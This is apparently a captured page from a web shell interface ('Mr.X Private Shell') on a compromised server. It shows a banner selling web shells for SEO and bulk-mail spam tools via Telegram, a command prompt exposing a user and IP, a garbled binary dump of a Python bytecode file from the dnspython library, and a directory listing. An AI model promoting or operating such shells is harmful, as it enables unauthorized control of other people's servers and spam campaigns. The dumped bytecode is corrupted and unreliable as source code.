__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.25: ~ $
�

^��g���&�dZddlZddlZddlmZmZddlZddlZejd�Z
dedefd�Z
ejd�Zejd	�Zejd
�Zddeeefdedefd
�ZdZdedefd�Zdeeefdefd�Zy)zIPv6 helper functions.�N)�List�Unionz
0+([0-9a-f]+)�address�returnc��t|�dk7rtd��tj|�}g}d}t|�}||krZ|||dzj	�}t
j
|�}|�|jd�}|j|�|dz
}||kr�Zd}d}d}	d}
td	�D]'}||d
k7r|
s�|}||	z
}||kDr|	}|}d}
�!|
r�$|}	d}
�)|
rd	}||	z
}||kDr|	}|}|dkDry|dk(rC|dk(s
|d
k(r9|d
dk(r1|dk(rd}
nd}
|
tjj|dd�z}|Sdj|d|�dzdj|||zd�z}|Sdj|�}|S)z�Convert an IPv6 address in binary form to text form.

    *address*, a ``bytes``, the IPv6 address in binary form.

    Raises ``ValueError`` if the address isn't 16 bytes long.
    Returns a ``str``.
    �z IPv6 addresses are 16 bytes longr�N����F��0T���ffffz::z::ffff:��:)�len�
ValueError�binascii�hexlify�decode�
_leading_zero�match�group�append�range�dns�ipv4�	inet_ntoa�join)r�hex�chunks�i�l�chunk�m�
best_start�best_len�start�
last_was_zero�end�current_len�prefix�thexs               �7/opt/hc_python/lib/python3.12/site-packages/dns/ipv6.pyrrs����7�|�r���;�<�<�
�
�
�7�
#�C�
�F�	�A��C��A�
�a�%��A��A���%�%�'��
����&���=��G�G�A�J�E��
�
�e��	�Q����a�%��J��H��E��M�
�1�X���!�9������!�E�k����)�!&�J�*�H� %�
���E� �M������E�k����!��J�"�H��!�|���?��A�
��Q��6�!�9�PV�CV��1�}���"���C�H�H�.�.�w�r�s�|�<�<�D��K�
������,�-����(�(�6�*�x�"7�"9�:�;�<�
��K��x�x�����K�s(.*):(\d+\.\d+\.\d+\.\d+)$s::.*s.*::$�text�ignore_scopec�Z�t|t�s|j�}n|}|rF|jd�}t	|�}|dk(r|d}n|dkDrt
jj�|dk(rt
jj�|jd�r+|jd�st
jj�|jd�r+|jd�st
jj�|dk(rd}tj|�}|�wt
jj|jd��}|jd	�j��d
|dd�|d	d�d
|dd�|dd��j�}t j|�}|�|d	d}nt"j|�}|�|dd
}|jd�}t	|�}|dkDrt
jj�d}g}	|D]�}
|
dk(rG|rt
jj�d}t%dd|z
d	z�D]}|	j'd���Ot	|
�}|dkDrt
jj�|dk7rdd|z
z|
z}
|	j'|
���|dkr|st
jj�dj)|	�}	t+j,|�S#t*j.t0f$rt
jj�wxYw)a+Convert an IPv6 address in text form to binary form.

    *text*, a ``str`` or ``bytes``, the IPv6 address in textual form.

    *ignore_scope*, a ``bool``.  If ``True``, a scope will be ignored.
    If ``False``, the default, it is an error for a scope to be present.

    Returns a ``bytes``.
    �%�rr0�:s::s0::Nr
r�02x�rrFTs0000r	�0)�
isinstance�bytes�encode�splitrr�	exception�SyntaxError�endswith�
startswith�
_v4_endingrr�	inet_atonrr�_colon_colon_start�_colon_colon_endrrr r�	unhexlify�Error�	TypeError)
r1r2�btext�partsr$r&�br"�
seen_empty�	canonical�c�_�lcs
             r/rCrChs����d�E�"����
��������D�!����J����6��!�H�E�
��U��-�-�+�+�+���|��m�m�'�'�'�	����	�e�n�n�U�&;��m�m�'�'�'�	�	�	�$�	��(8�(8��(?��m�m�'�'�'�	�%����	�����A��}��H�H���q�w�w�q�z�*���w�w�q�z� � �"�#�1�Q�q�T�#�J�q��t�C�j��!�A�$�s��A�a�D��:�N�
�&�(�	�	� � ��'�A��}��a�b�	���"�"�5�)���=��#�2�J�E��[�[��
�F��F��A��1�u��m�m�'�'�'��J��I�
����8���m�m�/�/�/��J��1�a�!�e�a�i�(��� � ��)�)��Q��B��A�v��m�m�/�/�/��Q�w��Q��V�_��)�����Q���	�1�u�Z��m�m�'�'�'��H�H�Y��E�
(��!�!�%�(�(���N�N�I�&�(��m�m�'�'�'�(�s�!K6�64L*s��c�,�|jt�S)z�Is the specified address a mapped IPv4 address?

    *address*, a ``bytes`` is an IPv6 address in binary form.

    Returns a ``bool``.
    )rA�_mapped_prefix)rs r/�	is_mappedrS�s�����n�-�-r0c�z�tjjtjj|��S)aVerify that *address* is a valid text form IPv6 address and return its
    canonical text form.  Addresses with scopes are rejected.

    *text*, a ``str`` or ``bytes``, the IPv6 address in textual form.

    Raises ``dns.exception.SyntaxError`` if the text is not valid.
    )r�ipv6rrC)r1s r/�canonicalizerV�s(���8�8���c�h�h�0�0��6�7�7r0)F)�__doc__r�re�typingrr�
dns.exceptionr�dns.ipv4�compilerr;�strrrBrDrE�boolrCrRrSrV�r0r/�<module>r`s���$��	������
�
�+�,�
�B�u�B��B�J�R�Z�Z�6�
7�
��R�Z�Z��)���2�:�:�i�(��X(�E�#�u�*�%�X(�T�X(�e�X(�v,��.�u�.��.�8�u�S�%�Z�(�8�S�8r0

Filemanager

Name Type Size Permission Actions
__init__.cpython-312.pyc File 698 B 0644
_asyncbackend.cpython-312.pyc File 4.68 KB 0644
_asyncio_backend.cpython-312.pyc File 13.93 KB 0644
_ddr.cpython-312.pyc File 7.59 KB 0644
_features.cpython-312.pyc File 3.2 KB 0644
_immutable_ctx.cpython-312.pyc File 3.14 KB 0644
_trio_backend.cpython-312.pyc File 13.13 KB 0644
asyncbackend.cpython-312.pyc File 3.31 KB 0644
asyncquery.cpython-312.pyc File 36.65 KB 0644
asyncresolver.cpython-312.pyc File 20.8 KB 0644
dnssec.cpython-312.pyc File 50.3 KB 0644
dnssectypes.cpython-312.pyc File 1.91 KB 0644
e164.cpython-312.pyc File 4.77 KB 0644
edns.cpython-312.pyc File 25.07 KB 0644
entropy.cpython-312.pyc File 5.78 KB 0644
enum.cpython-312.pyc File 4.75 KB 0644
exception.cpython-312.pyc File 7.03 KB 0644
flags.cpython-312.pyc File 2.97 KB 0644
grange.cpython-312.pyc File 1.71 KB 0644
immutable.cpython-312.pyc File 3.67 KB 0644
inet.cpython-312.pyc File 6.52 KB 0644
ipv4.cpython-312.pyc File 2.64 KB 0644
ipv6.cpython-312.pyc File 6.64 KB 0644
message.cpython-312.pyc File 84.56 KB 0644
name.cpython-312.pyc File 48 KB 0644
namedict.cpython-312.pyc File 4.23 KB 0644
nameserver.cpython-312.pyc File 14.07 KB 0644
node.cpython-312.pyc File 16.22 KB 0644
opcode.cpython-312.pyc File 3.04 KB 0644
query.cpython-312.pyc File 63.1 KB 0644
rcode.cpython-312.pyc File 4.31 KB 0644
rdata.cpython-312.pyc File 37.64 KB 0644
rdataclass.cpython-312.pyc File 3.42 KB 0644
rdataset.cpython-312.pyc File 22.37 KB 0644
rdatatype.cpython-312.pyc File 9.98 KB 0644
renderer.cpython-312.pyc File 15.75 KB 0644
resolver.cpython-312.pyc File 86.04 KB 0644
reversename.cpython-312.pyc File 4.6 KB 0644
rrset.cpython-312.pyc File 12.16 KB 0644
serial.cpython-312.pyc File 5.04 KB 0644
set.cpython-312.pyc File 11.92 KB 0644
tokenizer.cpython-312.pyc File 25.91 KB 0644
transaction.cpython-312.pyc File 28.62 KB 0644
tsig.cpython-312.pyc File 16.35 KB 0644
tsigkeyring.cpython-312.pyc File 2.81 KB 0644
ttl.cpython-312.pyc File 2.37 KB 0644
update.cpython-312.pyc File 15.87 KB 0644
version.cpython-312.pyc File 752 B 0644
versioned.cpython-312.pyc File 14.26 KB 0644
win32util.cpython-312.pyc File 9.31 KB 0644
wire.cpython-312.pyc File 5.3 KB 0644
xfr.cpython-312.pyc File 14.12 KB 0644
zone.cpython-312.pyc File 65.9 KB 0644
zonefile.cpython-312.pyc File 32.97 KB 0644
zonetypes.cpython-312.pyc File 1.29 KB 0644